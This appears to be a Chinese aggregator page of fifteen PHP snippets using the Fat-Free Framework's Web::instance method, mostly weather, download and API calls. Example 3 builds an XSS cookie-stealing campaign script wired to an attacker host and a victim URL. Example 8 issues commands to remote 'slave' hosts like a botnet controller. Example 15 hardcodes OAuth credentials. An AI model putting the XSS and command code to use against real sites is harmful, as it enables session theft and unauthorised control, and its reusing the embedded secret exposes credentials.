本文整理汇总了PHP中Web::instance方法的典型用法代码示例。如果您正苦于以下问题:PHP Web::instance方法的具体用法?PHP Web::instance怎么用?PHP Web::instance使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类Web
的用法示例。
在下文中一共展示了Web::instance方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: weather
/**
* Return weather data based on specified latitude/longitude
* @return array|FALSE
* @param $latitude float
* @param $longitude float
**/
function weather($latitude, $longitude)
{
$fw = \Base::instance();
$web = \Web::instance();
$query = array('lat' => $latitude, 'lng' => $longitude, 'username' => $fw->hash($fw->get('IP')));
return ($req = $web->request('http://ws.geonames.org/findNearByWeatherJSON?' . http_build_query($query))) && ($data = json_decode($req['body'], TRUE)) && isset($data['weatherObservation']) ? $data['weatherObservation'] : FALSE;
}
示例2: weather
/**
* Return weather data based on specified latitude/longitude
* @return array|FALSE
* @param $latitude float
* @param $longitude float
* @param $key string
**/
function weather($latitude, $longitude, $key)
{
$fw = \Base::instance();
$web = \Web::instance();
$query = ['lat' => $latitude, 'lon' => $longitude, 'APPID' => $key, 'units' => 'metric'];
return ($req = $web->request('http://api.openweathermap.org/data/2.5/weather?' . http_build_query($query))) ? json_decode($req['body'], TRUE) : FALSE;
}
示例3: create_campaign
/**
* @param \Base $f3
* Description This function will be used to create the necessary script needed to hook a page.
*/
function create_campaign(\Base $f3)
{
$web = \Web::instance();
$this->response->data['SUBPART'] = 'xssrc_campaign.html';
if ($f3->get('VERB') == 'POST') {
$error = false;
if ($f3->devoid('POST.targetUrl')) {
$error = true;
\Flash::instance()->addMessage('Please enter a Target url to test access once you steal cookies e.g. http://victim.mth3l3m3nt.com/admin', 'warning');
} else {
$target_url = $f3->get('POST.targetUrl');
$c_host = parse_url($target_url, PHP_URL_HOST);
$template_src = $f3->ROOT . $f3->BASE . '/scripts/attack_temp.mth3l3m3nt';
$campaign_file = $f3->ROOT . $f3->BASE . '/scripts/' . $c_host . '.js';
$campaign_address = $f3->SCHEME . "://" . $f3->HOST . $f3->BASE . '/scripts/' . $c_host . '.js';
$postHome = $f3->SCHEME . "://" . $f3->HOST . $f3->BASE . '/xssr';
copy($template_src, $campaign_file);
$unprepped_contents = file_get_contents($campaign_file);
$unprepped_contents = str_replace("http://attacker.mth3l3m3nt.com/xssr", $postHome, $unprepped_contents);
$unprepped_contents = str_replace("http://victim.mth3l3m3nt.com/admin/", $target_url, $unprepped_contents);
file_put_contents($campaign_file, $unprepped_contents);
$instructions = \Flash::instance()->addMessage('Attach the script to target e.g. <script src="' . $campaign_address . '"></script>', 'success');
$this->response->data['content'] = $instructions;
}
}
}
示例4: download
public function download($f3, $args)
{
$filename = $args['filename'];
$filename = setEncryptDecrption($filename, false);
$file = DOCROOT . $f3->get("doc_folder_name") . "/" . "portfolio/" . basename($filename);
/*if (file_exists($file))
{
header('Content-Description: File Transfer');
header('Content-Type: application/pdf');
header("Pragma: public");
header("Expires: 0");
header("Cache-Control:must-revalidate, post-check=0, pre-check=0");
header("Content-Type: application/force-download");
header("Content-Type: application/download");
header("Content-Disposition: attachment; filename={$filename}");
header("Content-Transfer-Encoding: binary ");
header('Content-Length: ' . filesize($file));
while(ob_get_level()) ob_end_clean();
flush();
readfile($file);
die;
}*/
// send() method returns FALSE if file doesn't exist
if (!Web::instance()->send($file)) {
// Generate an HTTP 404
$f3->error(404);
}
exit;
}
示例5: generate
public function generate($f3)
{
require_once '***/libs/htmlpurifier/library/HTMLPurifier.auto.php';
$purifier = new HTMLPurifier();
make_seed();
$models = array('cv2/lm_lstm_epoch50.00_0.5080.t7', 'cv/lm_lstm_epoch46.00_0.7940.t7');
$rnx = array_rand($models, 1);
$model = $models[$rnx];
$seed = round(rand());
$cmd = 'cd ***/char-rnn && th ***/char-rnn/sample.lua -verbose 0 -temperature 0.8 -gpuid -1 -seed ' . $seed . ' -length 2048 -primetext "<poem><html><head><meta charset=\\"utf-8\\"><style>body{background-color:#000;color:#0c0;}</style></head><body>" /home/drakh/klingon-poetry/' . $model;
$postVars = array('cmd' => $cmd);
$options = array('method' => 'POST', 'content' => http_build_query($postVars));
$r = \Web::instance()->request('http://127.0.0.1:1337', $options);
$clean_html = $purifier->purify($r['body']);
$poem = nl2br(trim($clean_html));
$db_data = array('seed' => $seed, 'model' => $model, 'poem' => $poem);
$data_to_save = json_encode($db_data, JSON_UNESCAPED_UNICODE);
$this->model->poem = $data_to_save;
$this->model->written_date = date('d.m.Y H:i:s');
$this->model->save();
$id = $this->model->id_poem;
$postVars = array('id' => $id);
$options = array('method' => 'POST', 'content' => http_build_query($postVars));
$r = \Web::instance()->request('http://127.0.0.1:1338', $options);
$f3->reroute('/poem/' . $id);
}
示例6: fetchAsset
/**
* 实现从 Sae KvDb 中读取数据然后输出 asset
*
* @param $f3
*/
public function fetchAsset($f3)
{
// 注册 F3 的路由,所有 /asset 请求都由我们自己处理
$pattern = '!^(' . $f3->get('BASE') . '/asset)(/[^\\?]*)(\\?.*)?$!';
$patternMatch = array();
preg_match($pattern, $f3->get('URI'), $patternMatch);
if (empty($patternMatch)) {
goto out_fail;
}
// 资源文件的相对路径
$relativeAssetPath = @$patternMatch[2];
$targetPath = $this->assetBasePath . $relativeAssetPath;
$targetKey = self::$saeKeyPrefix . md5($targetPath);
$saeKv = $this->getSaeKv();
$assetContent = $saeKv->get($targetKey);
if (!$assetContent) {
goto out_fail;
}
// 输出 content-type header 信息
header('Content-Type: ' . \Web::instance()->mime($targetPath));
// 静态资源缓存 1 天
$f3->expire(86400);
// 输出asset 内容
echo $assetContent;
return;
// 正确从这里返回
out_fail:
// 错误返回 404
$f3->error(404);
}
示例7: beforeValidate
protected function beforeValidate()
{
if (empty($this->slug)) {
$this->slug = \Web::instance()->slug($this->namespace);
}
return parent::beforeValidate();
}
示例8: bot_master
private function bot_master($url, $command_key, $instruction)
{
$web = \Web::instance();
$f3 = \Base::instance();
if ($f3->get('VERB') == 'POST') {
$error = false;
$params = array($command_key => $instruction);
$options = array('method' => 'GET');
$url .= '?' . http_build_query($params);
$request_successful = $web->request($url, $options);
if (!$request_successful) {
\Flash::instance()->addMessage('The Request was unsuccessful check whether slave exists', 'warning');
} else {
$result_body = $request_successful['body'];
$result_headers = $request_successful['headers'];
$response_header = $result_headers["0"];
$engine = $request_successful['engine'];
$headers_max = implode("\n", $result_headers);
if (strpos($response_header, '200 OK') !== false) {
//$myFinalRequest="Headers: \n\n".$headers_max."\n\n Body:\n\n".$result_body."\n\n Engine Used: ".$engine;
$this->response->data['content'] = $result_body;
} else {
$this->response->data['content'] = "Slave seems to have developed disobedience it said: \n\n " . $headers_max;
}
//convert array header to string
}
}
}
示例9: weather
/**
* Return weather data based on specified latitude/longitude
* @return array|FALSE
* @param $latitude float
* @param $longitude float
**/
function weather($latitude, $longitude)
{
$fw = \Base::instance();
$web = \Web::instance();
$query = array('lat' => $latitude, 'lon' => $longitude);
$req = $web->request('http://api.openweathermap.org/data/2.5/weather?' . http_build_query($query));
return ($req = $web->request('http://api.openweathermap.org/data/2.5/weather?' . http_build_query($query))) ? json_decode($req['body'], TRUE) : FALSE;
}
示例10: __construct
function __construct()
{
//Client ID of the application.
$this->clientID = \Base::instance()->get('TRANSLATE.MICROSOFT.CLIENTID');
//Client Secret key of the application.
$this->clientSecret = \Base::instance()->get('TRANSLATE.MICROSOFT.CLIENTSECRET');
$this->web = \Web::instance();
}
示例11: dump
/**
* Generate map
* @return string
**/
function dump()
{
$fw = \Base::instance();
$web = \Web::instance();
$out = '';
return ($req = $web->request(self::URL_Static . '?' . array_reduce($this->query, function ($out, $item) {
return $out .= ($out ? '&' : '') . urlencode($item[0]) . '=' . urlencode($item[1]);
}))) && $req['body'] ? $req['body'] : FALSE;
}
示例12: get_hetic_skills
public function get_hetic_skills()
{
header('Content-Type: application/json');
$url = $this->_api_hetic_url . '/skills';
$params = array();
$options = array('method' => 'GET');
$url .= '?' . http_build_query($params);
$result = \Web::instance()->request($url, $options);
echo $result['body'];
}
示例13: get
public function get($key, $default = null)
{
$slug = \Web::instance()->slug($key);
if ($this->model->exists('strings.' . $slug)) {
return $this->model->{'strings.' . $slug};
}
if (!(new \Dsc\Mongo\Collections\Translations\Keys())->slugExists($slug)) {
(new \Dsc\Mongo\Collections\Translations\Keys())->set('title', $key)->set('slug', $slug)->save();
}
return !empty($default) ? $default : $key;
}
示例14: dumpDatabase
function dumpDatabase($f3)
{
$db = $f3->get('db');
Logger::Info($f3, "AdminGet.dumpDatabase", "Exporting the DB");
$exportFileName = $f3->get('ROOT') . '/exports/export_' . date('Y-m-d_H\\hi\\m') . '.xlsx';
ExcelImportExport::exportToExcel2007($db, $exportFileName);
Logger::Info($f3, "AdminGet.dumpDatabase", "Export file: {$exportFileName}");
if (!Web::instance()->send($exportFileName)) {
$f3->error(404);
}
}
示例15: callback_hetic
public function callback_hetic($f3)
{
$code = $f3->get('GET.code');
$url = 'http://api-hetic.com:1337/oauth2/token';
$params = array('code' => $code, 'grant_type' => 'authorization_code', 'redirect_uri' => $this->redirect_uri, 'username' => '54f7438d236dbb372e4e37d6', 'password' => 'FJfhXmZ1Zo6uNm4ESvVpAmLggyp0YL');
$options = array('method' => 'POST', 'content' => http_build_query($params));
$result = \Web::instance()->request($url, $options);
$response = json_decode($result['body']);
$f3->set('SESSION.id', $response['id']);
$this->home();
}